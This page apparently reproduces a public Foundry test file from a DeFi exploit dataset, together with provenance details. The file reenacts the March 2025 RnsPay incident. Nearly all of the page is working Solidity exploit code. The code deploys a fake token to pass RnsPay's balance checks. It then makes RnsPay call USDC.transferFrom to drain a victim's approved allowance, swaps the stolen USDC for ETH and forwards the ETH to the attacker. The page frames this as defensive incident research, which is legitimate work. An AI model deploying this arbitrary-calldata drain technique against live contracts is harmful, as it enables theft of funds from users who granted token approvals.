Public reproduction file
src/test/2025-03/RnsPay_exp.sol
Public reproduction file for dataset entry RnsPay.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 1,050 USDC8// Attacker : 0x806d9d1f1b80107a294393c76258b69b441565f09// Attack Contract : 0x5198bc63edf0f9d9926c4cd4db4ef18032ac476710// Vulnerable Contract : 0x4c7f92d77b331ea74092e2e347c9fd026faa1c3f11// Attack Tx : https://etherscan.io/tx/0x69a825ffedeb4461afc95e21475c011b1675a95d318bb1dd63b13307dfe3b9ed12//13// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0x4c7f92d77b331ea74092e2e347c9fd026faa1c3f#code15//16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/56218//19// RnsPay lets the caller provide an arbitrary exchange target and calldata.20// The attacker used a fake ERC20 as both pay and receipt token so RnsPay's21// token balance checks passed, then made RnsPay call USDC.transferFrom with a22// victim that had approved RnsPay.24address constant ATTACKER = 0x806D9D1F1B80107A294393c76258b69b441565f0;25address constant RNS_PAY = 0x4c7f92d77b331EA74092e2E347c9FD026FAA1c3f;26address constant USDC_TOKEN = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;27address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;28address constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;29address constant USDC_ALLOWANCE_VICTIM = 0x6D191737f9653A66D0e8236fFF6E8EA543C05bC0;31uint256 constant STOLEN_USDC_AMOUNT = 1_050_000_000;33interface IRnsPay {34 struct Payment {35 string orderId;36 uint256 payTokenAmountIn;37 uint256 receiptTokenAmountOut;38 uint256 feeAmount;39 address payTokenContractAddress;40 address dexRouterContractAddress;41 address receiptTokenContractAddress;42 address receiverWalletAddress;43 address feeReceiverAddress;44 uint8 exchangeType;45 bytes dexRouterFeedData;46 uint256 orderInvalidatedMoment;47 }49 function pay(50 Payment calldata payment51 ) external payable returns (bool);52}54contract ContractTest is BaseTestWithBalanceLog {55 IERC20 private constant usdc = IERC20(USDC_TOKEN);57 function setUp() public {58 uint256 forkBlock = 21_988_705;59 vm.createSelectFork("mainnet", forkBlock);61 attacker = ATTACKER;62 vm.label(ATTACKER, "Attacker");63 vm.label(RNS_PAY, "RnsPay");64 vm.label(USDC_ALLOWANCE_VICTIM, "USDC allowance victim");65 vm.label(USDC_TOKEN, "USDC");66 vm.label(WETH_TOKEN, "WETH");67 vm.label(UNISWAP_V2_ROUTER, "Uniswap V2 Router");68 }70 function testExploit() public balanceLog {71 // step 1: prove the vulnerable allowance and victim balance are live at the fork.72 uint256 attackerEthBefore = ATTACKER.balance;73 uint256 victimUsdcBefore = usdc.balanceOf(USDC_ALLOWANCE_VICTIM);75 // step 2: use fake token accounting to make RnsPay execute arbitrary USDC calldata.76 RnsPayExploit exploit = new RnsPayExploit();77 exploit.attack();79 // step 3: assert the USDC drain and final ETH profit forwarding.80 assertEq(victimUsdcBefore - usdc.balanceOf(USDC_ALLOWANCE_VICTIM), STOLEN_USDC_AMOUNT);81 assertGt(ATTACKER.balance - attackerEthBefore, 0.46 ether);82 }83}85contract RnsPayExploit {86 receive() external payable {}88 function attack() external {89 FakeToken fakeToken = new FakeToken();91 // step 1: RnsPay will call this as USDC.transferFrom with RnsPay as msg.sender.92 bytes memory drainCall = abi.encodeWithSelector(93 IERC20.transferFrom.selector,94 USDC_ALLOWANCE_VICTIM,95 address(this),96 STOLEN_USDC_AMOUNT97 );99 IRnsPay.Payment memory payment = IRnsPay.Payment({100 orderId: "KISS KISS BANG BANG",101 payTokenAmountIn: 1,102 receiptTokenAmountOut: 1,103 feeAmount: 0,104 payTokenContractAddress: address(fakeToken),105 dexRouterContractAddress: USDC_TOKEN,106 receiptTokenContractAddress: address(fakeToken),107 receiverWalletAddress: address(this),108 feeReceiverAddress: address(0),109 exchangeType: 1,110 dexRouterFeedData: drainCall,111 orderInvalidatedMoment: block.timestamp112 });114 IRnsPay(RNS_PAY).pay(payment);116 // step 2: swap the stolen USDC through the same Uniswap V2 route and forward ETH.117 IERC20(USDC_TOKEN).approve(UNISWAP_V2_ROUTER, type(uint256).max);118 address[] memory path = new address[](2);119 path[0] = USDC_TOKEN;120 path[1] = WETH_TOKEN;122 IUniswapV2Router(payable(UNISWAP_V2_ROUTER)).swapExactTokensForETH(123 STOLEN_USDC_AMOUNT,124 0,125 path,126 address(this),127 block.timestamp128 );130 payable(ATTACKER).transfer(address(this).balance);131 }132}134contract FakeToken {135 function balanceOf(136 address137 ) external pure returns (uint256) {138 return 1;139 }141 function allowance(address, address) external pure returns (uint256) {142 return 0;143 }145 function transferFrom(address, address, uint256) external pure returns (bool) {146 return true;147 }149 function approve(address, uint256) external pure returns (bool) {150 return true;151 }153 function transfer(address, uint256) external pure returns (bool) {154 return true;155 }156}Analysis
Dataset entry
Public Foundry test for “RnsPay” (2025-03-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
18 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-03/Alkimiya_io_exp.solSame month in the dataset · 145 lines
- src/test/2025-03/BBXToken_exp.solSame month in the dataset · 128 lines
- src/test/2025-03/DCFToken_exp.solSame month in the dataset · 184 lines
- src/test/2025-03/DUCKVADER_exp.solSame month in the dataset · 82 lines
- src/test/2025-03/H2O_exp.solSame month in the dataset · 163 lines
- src/test/2025-03/LeverageSIR_exp.solSame month in the dataset · 258 lines
- src/test/2025-03/PTM_exp.solSame month in the dataset · 103 lines
- src/test/2025-03/Pump_exp.solSame month in the dataset · 130 lines
- src/test/2025-03/SBRToken_exp.solSame month in the dataset · 80 lines
- src/test/2025-03/StackMarket_exp.solSame month in the dataset · 136 lines
- src/test/2025-03/UNI_exp.solSame month in the dataset · 111 lines
- src/test/2025-03/unverified_3f27_exp.solSame month in the dataset · 112 lines
- src/test/2025-03/unverified_de7c_exp.solSame month in the dataset · 129 lines
- src/test/2025-03/wKeyDAO_exp.solSame month in the dataset · 160 lines
- src/test/2025-03/YziAIToken_exp.solSame month in the dataset · 69 lines
- src/test/2025-03/ZeroExSettler_exp.solSame month in the dataset · 110 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x806d9d1f1b80107a294393c76258b69b441565f0
- Attack Contract
0x5198bc63edf0f9d9926c4cd4db4ef18032ac4767
- Vulnerable Contract
0x4c7f92d77b331ea74092e2e347c9fd026faa1c3f
- Attack Tx
0x69a825ffedeb4461afc95e21475c011b1675a95d318bb1dd63b13307dfe3b9ed
File record
- Name
- RnsPay
- Path
- src/test/2025-03/RnsPay_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 28fdde0652a8c4cb377ee0734775e274ee5dc3e3
- Language
- Solidity
- Size
- 157 lines
- Date
- 2025-03-06
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-03/RnsPay_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 28fdde0652a8c4cb377ee0734775e274ee5dc3e3, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.